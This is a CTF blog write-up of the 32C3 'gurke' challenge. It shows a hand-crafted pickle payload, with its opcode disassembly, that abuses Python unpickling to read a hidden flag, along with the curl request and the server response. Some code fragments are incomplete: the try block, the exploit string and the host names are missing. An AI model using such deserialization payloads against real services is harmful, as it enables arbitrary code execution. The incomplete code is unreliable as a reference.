32C3 CTF Write-up: gurke

gurke (misc)

For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.

The service can be succinctly represented as follows:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("", 1234))
        self.flag = s.recv(1024).strip()
flag = Flag()


data = os.read(0, 4096)
    res = pickle.loads(data)
    print 'res: %r\n' % res except Exception as e:
    print >>sys.stderr, "exception", repr(e)

In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.

Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:

a = __main__.flag
return __builtin__.getattr(a, 'flag')

This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:

import pickletools

exploit = """c__main__\nflag


  0: c    GLOBAL     '__main__ flag'
 15: p    PUT        100
 20: 0    POP
 21: c    GLOBAL     '__builtin__ getattr'
 42: (    MARK
 43: g        GET        100
 48: S        STRING     'flag'
 56: t        TUPLE      (MARK at 42)
 57: R    REDUCE
 58: .    STOP

Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:

$ curl -vv -X POST --data-binary @t.pickle
*   Trying connected
* Connected to ( port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host:
> Accept: */*
> Content-Length: 60
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0
* Closing connection #0

Further reading for Python pickles and security:

This entry was posted in CTFs.

Leave a Reply


WordPress.com Logo


Google photo


Twitter picture


Facebook photo


Connecting to %s
